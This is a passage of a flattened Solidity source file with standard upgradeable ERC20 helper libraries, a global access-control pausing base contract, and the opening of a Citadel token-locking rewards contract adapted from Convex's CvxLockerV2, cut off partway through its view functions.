require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint224 a, uint224 b) internal pure returns (uint224) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// solhint-disable-next-line compiler-version
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
interface IGac {
function paused() external view returns (bool);
function transferFromDisabled() external view returns (bool);
function unpause() external;
function pause() external;
function enableTransferFrom() external;
function disableTransferFrom() external;
function grantRole(bytes32 role, address account) external;
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function getRoleMember(bytes32 role, uint256 index)
external
view
returns (address);
}
/**
* @title Global Access Control Managed - Base Class
* @notice allows inheriting contracts to leverage global access control permissions conveniently, as well as granting contract-specific pausing functionality
*/
contract GlobalAccessControlManaged is PausableUpgradeable {
IGac public gac;
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant UNPAUSER_ROLE = keccak256("UNPAUSER_ROLE");
/// =======================
/// ===== Initializer =====
/// =======================
/**
* @notice Initializer
* @dev this is assumed to be used in the initializer of the inhereiting contract
* @param _globalAccessControl global access control which is pinged to allow / deny access to permissioned calls by role
*/
function __GlobalAccessControlManaged_init(address _globalAccessControl)
public
initializer
{
__Pausable_init_unchained();
gac = IGac(_globalAccessControl);
}
/// =====================
/// ===== Modifiers =====
/// =====================
// @dev only holders of the given role on the GAC can call
modifier onlyRole(bytes32 role) {
require(gac.hasRole(role, msg.sender), "GAC: invalid-caller-role");
_;
}
// @dev only holders of any of the given set of roles on the GAC can call
modifier onlyRoles(bytes32[] memory roles) {
bool validRoleFound = false;
for (uint256 i = 0; i < roles.length; i++) {
bytes32 role = roles[i];
if (gac.hasRole(role, msg.sender)) {
validRoleFound = true;
break;
}
}
require(validRoleFound, "GAC: invalid-caller-role");
_;
}
// @dev only holders of the given role on the GAC can call, or a specified address
// @dev used to faciliate extra contract-specific permissioned accounts
modifier onlyRoleOrAddress(bytes32 role, address account) {
require(
gac.hasRole(role, msg.sender) || msg.sender == account,
"GAC: invalid-caller-role-or-address"
);
_;
}
/// @dev can be pausable by GAC or local flag
modifier gacPausable() {
require(!gac.paused(), "global-paused");
require(!paused(), "local-paused");
_;
}
/// ================================
/// ===== Permissioned actions =====
/// ================================
function pause() external {
require(gac.hasRole(PAUSER_ROLE, msg.sender));
_pause();
}
function unpause() external {
require(gac.hasRole(UNPAUSER_ROLE, msg.sender));
_unpause();
}
}
/*
Citadel locking contract
Adapted from CvxLockerV2.sol (https://github.com/convex-eth/platform/blob/4a51cf7e411db27fa8fc2244137013f9fbdebb38/contracts/contracts/CvxLockerV2.sol).
Changes:
- Upgradeability
- Removed staking
*/
contract StakedCitadelLocker is
Initializable,
ReentrancyGuardUpgradeable,
OwnableUpgradeable,
GlobalAccessControlManaged
{
using BoringMath for uint256;
using BoringMath224 for uint224;
using BoringMath112 for uint112;
using BoringMath32 for uint32;
using SafeERC20Upgradeable for IERC20Upgradeable;
/* ========== STATE VARIABLES ========== */
struct Reward {
bool useBoost;
uint40 periodFinish;
uint208 rewardRate;
uint40 lastUpdateTime;
uint208 rewardPerTokenStored;
}
struct Balances {
uint112 locked;
uint112 boosted;
uint32 nextUnlockIndex;
}
struct LockedBalance {
uint112 amount;
uint112 boosted;
uint32 unlockTime;
}
struct EarnedData {
address token;
uint256 amount;
}
struct Epoch {
uint224 supply; //epoch boosted supply
uint32 date; //epoch start date
}
//token constants
IERC20Upgradeable public stakingToken; // xCTDL token
//rewards
address[] public rewardTokens;
mapping(address => Reward) public rewardData;
// Duration that rewards are streamed over
uint256 public constant rewardsDuration = 86400; // 1 day
// Duration of lock/earned penalty period
uint256 public constant lockDuration = rewardsDuration * 7 * 21; // 21 weeks
// reward token -> distributor -> is approved to add rewards
mapping(address => mapping(address => bool)) public rewardDistributors;
// user -> reward token -> amount
mapping(address => mapping(address => uint256))
public userRewardPerTokenPaid;
mapping(address => mapping(address => uint256)) public rewards;
//supplies and epochs
uint256 public lockedSupply;
uint256 public boostedSupply;
Epoch[] public epochs;
//mappings for balance data
mapping(address => Balances) public balances;
mapping(address => LockedBalance[]) public userLocks;
// ========== Not used ==========
//boost
address public boostPayment = address(0);
uint256 public maximumBoostPayment = 0;
uint256 public boostRate = 10000;
uint256 public nextMaximumBoostPayment = 0;
uint256 public nextBoostRate = 10000;
uint256 public constant denominator = 10000;
// ==============================
//staking
uint256 public minimumStake = 10000;
uint256 public maximumStake = 10000;
address public stakingProxy = address(0);
uint256 public constant stakeOffsetOnLock = 500; //allow broader range for staking when depositing
//management
uint256 public kickRewardPerEpoch = 100;
uint256 public kickRewardEpochDelay = 4;
//shutdown
bool public isShutdown = false;
//erc20-like interface
string private _name;
string private _symbol;
uint8 private _decimals;
/* ========== CONSTRUCTOR ========== */
function initialize(
address _stakingToken,
address _gac,
string calldata name,
string calldata symbol
) public initializer {
require(_stakingToken != address(0)); // dev: _stakingToken address should not be zero
stakingToken = IERC20Upgradeable(_stakingToken);
_name = name;
_symbol = symbol;
_decimals = 18;
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(
rewardsDuration
);
epochs.push(Epoch({supply: 0, date: uint32(currentEpoch)}));
__Ownable_init();
__ReentrancyGuard_init();
__GlobalAccessControlManaged_init(_gac);
}
function decimals() public view returns (uint8) {
return _decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function version() public view returns (uint256) {
return 2;
}
/* ========== ADMIN CONFIGURATION ========== */
// Add a new reward token to be distributed to stakers
function addReward(
address _rewardsToken,
address _distributor,
bool _useBoost
) public onlyOwner gacPausable {
require(rewardData[_rewardsToken].lastUpdateTime == 0);
// require(_rewardsToken != address(stakingToken));
rewardTokens.push(_rewardsToken);
rewardData[_rewardsToken].lastUpdateTime = uint40(block.timestamp);
rewardData[_rewardsToken].periodFinish = uint40(block.timestamp);
rewardData[_rewardsToken].useBoost = _useBoost;
rewardDistributors[_rewardsToken][_distributor] = true;
}
// Modify approval for an address to call notifyRewardAmount
function approveRewardDistributor(
address _rewardsToken,
address _distributor,
bool _approved
) external onlyOwner gacPausable {
require(rewardData[_rewardsToken].lastUpdateTime > 0);
rewardDistributors[_rewardsToken][_distributor] = _approved;
}
//Set the staking contract for the underlying cvx
function setStakingContract(address _staking) external onlyOwner gacPausable {
require(stakingProxy == address(0), "!assign");
stakingProxy = _staking;
}
//set staking limits. will stake the mean of the two once either ratio is crossed
function setStakeLimits(uint256 _minimum, uint256 _maximum)
external
onlyOwner
gacPausable
{
require(_minimum <= denominator, "min range");
require(_maximum <= denominator, "max range");
require(_minimum <= _maximum, "min range");
minimumStake = _minimum;
maximumStake = _maximum;
updateStakeRatio(0);
}
//set boost parameters
function setBoost(
uint256 _max,
uint256 _rate,
address _receivingAddress
) external onlyOwner gacPausable {
require(_max < 1500, "over max payment"); //max 15%
require(_rate < 30000, "over max rate"); //max 3x
require(_receivingAddress != address(0), "invalid address"); //must point somewhere valid
nextMaximumBoostPayment = _max;
nextBoostRate = _rate;
boostPayment = _receivingAddress;
}
//set kick incentive
function setKickIncentive(uint256 _rate, uint256 _delay)
external
onlyOwner
gacPausable
{
require(_rate <= 500, "over max rate"); //max 5% per epoch
require(_delay >= 2, "min delay"); //minimum 2 epochs of grace
kickRewardPerEpoch = _rate;
kickRewardEpochDelay = _delay;
}
//shutdown the contract. unstake all tokens. release all locks
function shutdown() external onlyOwner {
isShutdown = true;
}
/* ========== VIEWS ========== */
function getRewardTokens() external view returns (address[] memory) {
uint256 numTokens = rewardTokens.length;
address[] memory tokens = new address[](numTokens);
for (uint256 i = 0; i < numTokens; i++) {
tokens[i] = rewardTokens[i];
}
return tokens;
}
function _rewardPerToken(address _rewardsToken)
internal
view
returns (uint256)
{
if (boostedSupply == 0) {
return rewardData[_rewardsToken].rewardPerTokenStored;
}
return
uint256(rewardData[_rewardsToken].rewardPerTokenStored).add(
_lastTimeRewardApplicable(
rewardData[_rewardsToken].periodFinish
)
.sub(rewardData[_rewardsToken].lastUpdateTime)
.mul(rewardData[_rewardsToken].rewardRate)
.mul(1e18)
.div(
rewardData[_rewardsToken].useBoost
? boostedSupply
: lockedSupply
)
);
}
function _earned(
address _user,
address _rewardsToken,
uint256 _balance
) internal view returns (uint256) {
return
_balance
.mul(
_rewardPerToken(_rewardsToken).sub(
userRewardPerTokenPaid[_user][_rewardsToken]
)
)
.div(1e18)
.add(rewards[_user][_rewardsToken]);
}
function _lastTimeRewardApplicable(uint256 _finishTime)
internal
view
returns (uint256)
{
return MathUpgradeable.min(block.timestamp, _finishTime);
}
function lastTimeRewardApplicable(address _rewardsToken)
public
view
returns (uint256)
{
return
_lastTimeRewardApplicable(rewardData[_rewardsToken].periodFinish);
}
